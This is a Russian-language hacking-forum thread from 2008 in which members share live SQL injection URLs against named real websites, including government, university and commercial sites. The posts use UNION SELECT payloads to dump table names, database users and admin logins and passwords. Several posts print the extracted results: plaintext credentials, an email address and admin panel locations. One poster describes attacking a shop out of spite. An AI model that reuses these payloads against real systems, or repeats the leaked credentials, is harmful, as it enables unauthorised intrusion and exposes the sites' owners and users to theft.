HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 29.05.2008, 16:44
AkyHa_MaTaTa
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
С нами: 10077446

Репутация: 1020


По умолчанию

ЮСКА:
http://www.co.mason.wa.us/astr/permits.php?parcel_number=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,unhex(hex(TABLE_NAME)),25 ,26,27,28+from+INFORMATION_SCHEMA.TABLES/*
 
Ответить с цитированием

  #2  
Старый 29.05.2008, 17:52
S00pY
Познающий
Регистрация: 24.04.2007
Сообщений: 92
С нами: 10025299

Репутация: 412
По умолчанию

Национальная Федерация Производителей Фонограмм
_http://www.nfpf.org/press/index.php?id=-1+union+select+a_login,a_pwd+from+accounts/*
Зы:Админку не искал)
 
Ответить с цитированием

  #3  
Старый 29.05.2008, 19:21
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами: 10081287

Репутация: 568
По умолчанию

AkyHa_MaTaTa
Цитата:
http://www.co.mason.wa.us/astr/permits.php?parcel_number=-1+union+select+
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,unhex(hex(concat(password,0x3a,user_id)) ),25,26,27,28+from+supercalendar.users/*
токо вот где админка?)
 
Ответить с цитированием

  #4  
Старый 30.05.2008, 17:04
gisTy
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
С нами: 9454841

Репутация: 504


По умолчанию

Цитата:
Сообщение от sabe  
AkyHa_MaTaTa

токо вот где админка?)
а админка вот она

http://www.co.mason.wa.us/phpmyadmin/

=)))
 
Ответить с цитированием

  #5  
Старый 30.05.2008, 14:58
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию

Night club.
http://www.seone-london.com/master.php?page=event&id=-1061+union+select+1,2,3,4,5,6,7 ,8,9 ,0, 1,2,3,4/*


Version: 5.0.32-Debian_7etch1~bpo.1-log
Database : se1admini_se1
User : se1admini_se1@supremecenter10.co.uk
 
Ответить с цитированием

  #6  
Старый 30.05.2008, 15:13
[:|||||:]
Banned
Регистрация: 29.05.2008
Сообщений: 116
С нами: 9448043

Репутация: 208
По умолчанию

Код:
http://casa-latina.ru/s/?cat=9999+union+select+1,concat(USER(),DATABASE()),3,4,5,6,7/*
 
Ответить с цитированием

  #7  
Старый 30.05.2008, 17:41
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами: 10081287

Репутация: 568
По умолчанию

[:|||||:]
Цитата:
http://casa-latina.ru/s/?cat=9999+union+select+1,concat(username,0x3a,pass word,0x3a,salt,0x3a,email,0x3a,icq),3,4,5,6,7+from +vb3_user+where+userid=1/*
Цитата:
http://casa-latina.ru/s/?cat=9999+union+select+1,concat(username,0x3a,pass word,0x3a,email),3,4,5,6,7+from+casalati_test.smil es_users/*
вобшем.. странная база))

gisTy
ну эт хорошо если нету этого
Цитата:
SELECT command denied to user 'mason_web'@'www.co.mason.wa.us' for table 'user'

Последний раз редактировалось sabe; 30.05.2008 в 18:48..
 
Ответить с цитированием

  #8  
Старый 31.05.2008, 00:22
Imperou$
Познающий
Регистрация: 23.05.2008
Сообщений: 84
С нами: 9456679

Репутация: 97
По умолчанию

Преамбула:
В общем, купил плеер себе assistant am-241 сегодня... Ну думаю-нифига себе экран, и как тут без видео, начал софтом что на диске конвертить-не работает .. Закачал новую версию конвертора, и та же фигня с определением. Потом инструкцию перечитал, ну блин, всё копейка в копейку делаю, ну ни как не принимает.
Ну, думаю сволочи-отмщу!! :/ искал их сайт и нашёл украинский филиал с багом-вот вам скуля (это ужо амбула )

http://assistant.net.ua/index.php?id=110&tovar=-30+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3A3a ,login,pass,id),11,12,13,14,15+from+users/*

http://assistant.net.ua/admin -саатвецвенна админка

myst::qwe::5

логин,пасс,ид^^^

Эх, украинцы (хоть бы пароли оригинальней придумали, да в хэш загнали, shop ведь)...
И тут думаю-...чё не в медиа залить попробовать, а в дата и не определить видео файлменеджером на формат и читабельность (ну далеко менять ехать по гарантийке)...И получилось.
Так вот-дело не в скуле, а видел я когда копал гугл на предмет сабжа, что некий N1ghtmare спрашивал, как же разморочить модель эту на качество и разрешение (http://siemenz.ru/forum/22-285-1)...Вот и подумал, так сказать "скомпоновать", ибо видел человека с похожим ником тут.Если это тот человек и интересно ещё, конечно,то вроде обосновал или в ПМ.У меня работает Фильмы смотрю, не жалуюсь а шелл заливать не стал-(хоть и можно), стало обидно за себя, что раньше не догадался.
А модеров прошу минуса не ставить, т.к. по сабжу вроде отписал.Ну если вы на эту тему погуглите-то ничего подобного не найдёте-а ведь много людей купили и инетерсуются.
 
Ответить с цитированием

  #9  
Старый 31.05.2008, 00:41
~!DoK_tOR!~
Banned
Регистрация: 10.11.2006
Сообщений: 829
С нами: 10263663

Репутация: 1559


По умолчанию

www.alwg.cap.gov

Цитата:
http://www.alwg.cap.gov/index.php?menu=-90+union+select+1,2,concat(database(),0x3a,version (),0x3a,user()),4,5/*
aer.noao.edu

Цитата:
http://aer.noao.edu/AERArticle.php?issue=-2+union+select+1,concat(Login,0x3a,password),3,4,5 ,6,7,8,9,10,11,12,13,14,15+FROM+Reviewers/*
выводится почемута не хочет кто вывидет мож.


phoenix.lpl.arizona.edu

Цитата:
http://phoenix.lpl.arizona.edu/blogsPost.php?bID=-145+union+select+1,2,3,4,concat(username,0x3a,pass word,0x3a,email),6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20+FROM+ssp2g_admins/*
phoenix:tom@rs:mike@woodpilestudios.com никаких md5 пасс в открытом виде )

Последний раз редактировалось ~!DoK_tOR!~; 09.06.2008 в 00:39..
 
Ответить с цитированием

  #10  
Старый 31.05.2008, 07:42
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами: 10081287

Репутация: 568
По умолчанию

Autobuilding.ru
Цитата:
http://www.autobuilding.ru/gobanner.php?id=1'+order+by+1/*
и подбирать)) но вот на это ругается:
Цитата:
http://www.autobuilding.ru/gobanner.php?id=1'union+select+1/*
~!DoK_tOR!~, так интереснее:
Цитата:
http://phoenix.lpl.arizona.edu/blogsPost.php?bID=-145+union+select+1,2,3,4,concat(auth_user,0x3a,aut h_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+F ROM+authors+where+auth_status=0x61646d696e/*
awkes1.lpl.arizona.edu/admin/

Последний раз редактировалось sabe; 31.05.2008 в 11:11..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.